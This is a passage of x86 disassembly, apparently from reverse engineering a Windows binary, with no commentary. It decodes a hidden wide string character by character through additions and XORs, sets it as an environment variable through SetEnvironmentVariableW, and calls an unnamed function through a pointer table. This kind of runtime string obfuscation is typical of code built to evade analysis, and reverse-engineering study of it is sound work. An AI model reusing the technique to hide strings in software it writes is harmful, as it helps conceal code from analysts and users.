add eax, 0xd
xor eax, 0x42
mov word [ebp - 0x836], ax
mov eax, dword [ebp - 0x854]
add eax, 0xe
xor eax, ecx
mov word [ebp - 0x834], ax
mov eax, dword [ebp - 0x854]
add eax, 0xf
xor eax, 0x34
mov word [ebp - 0x832], ax
mov eax, dword [ebp - 0x854]
add eax, 0x10
xor eax, edi
mov word [ebp - 0x830], ax
mov eax, dword [ebp - 0x854]
add eax, 0x11
xor eax, 0x61
mov word [ebp - 0x82e], ax
mov eax, dword [ebp - 0x854]
add eax, 0x12
push 0x35
pop ebx
xor eax, ebx
mov word [ebp - 0x82c], ax
mov eax, dword [ebp - 0x854]
add eax, 0x13
xor eax, ecx
mov word [ebp - 0x82a], ax
mov eax, dword [ebp - 0x854]
add eax, 0x14
xor eax, 0x41
mov word [ebp - 0x828], ax
mov eax, dword [ebp - 0x854]
add eax, 0x15
xor eax, 0x32
mov word [ebp - 0x826], ax
mov eax, dword [ebp - 0x854]
add eax, 0x16
xor eax, ebx
mov word [ebp - 0x824], ax
mov eax, dword [ebp - 0x854]
add eax, 0x17
xor eax, esi
mov word [ebp - 0x822], ax
mov eax, dword [ebp - 0x854]
add eax, 0x18
xor eax, ecx
mov word [ebp - 0x820], ax
mov eax, dword [ebp - 0x854]
add eax, 0x19
push 0x38
pop ecx
xor eax, ecx
mov word [ebp - 0x81e], ax
mov eax, dword [ebp - 0x854]
add eax, 0x1a
xor eax, 0x32
mov word [ebp - 0x81c], ax
mov eax, dword [ebp - 0x854]
add eax, 0x1b
xor eax, 0x41
mov word [ebp - 0x81a], ax
mov eax, dword [ebp - 0x854]
add eax, 0x1c
xor eax, edx
mov word [ebp - 0x818], ax
mov eax, dword [ebp - 0x854]
add eax, 0x1d
xor eax, 0x32
mov word [ebp - 0x816], ax
mov eax, dword [ebp - 0x854]
add eax, 0x1e
xor eax, ecx
mov word [ebp - 0x814], ax
mov eax, dword [ebp - 0x854]
add eax, 0x1f
xor eax, 0x44
mov word [ebp - 0x812], ax
mov eax, dword [ebp - 0x854]
add eax, 0x20
xor eax, esi
mov word [ebp - 0x810], ax
mov eax, dword [ebp - 0x854]
add eax, 0x21
xor eax, edi
mov word [ebp - 0x80e], ax
mov eax, dword [ebp - 0x854]
add eax, 0x22
push 0x46
pop ecx
xor eax, ecx
mov word [ebp - 0x80c], ax
mov eax, dword [ebp - 0x854]
add eax, 0x23
xor eax, esi
mov word [ebp - 0x80a], ax
mov eax, dword [ebp - 0x854]
add eax, 0x24
xor eax, 0x41
mov word [ebp - 0x808], ax
mov eax, dword [ebp - 0x854]
lea ecx, [ebp - 0x854]
add eax, 0x25
xor ebx, ebx
xor eax, 0x7d
mov word [ebp - 0x806], ax
xor eax, eax
mov word [ebp - 0x804], ax
mov ax, word [ebp - 0x850]
push ebx
call fcn.1000b49e
push eax
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
push 0x10
lea eax, [ebp - 0x144]
push ebx
push eax
call fcn.100df69e
add esp, 0xc
push ebx
push ebx
push eax
mov eax, dword [0x101ef2d0]
push 0x100c966c
call dword [eax + 0x510]
mov dword [0x10218524], eax
xor eax, eax
inc eax
jmp 0x100c4897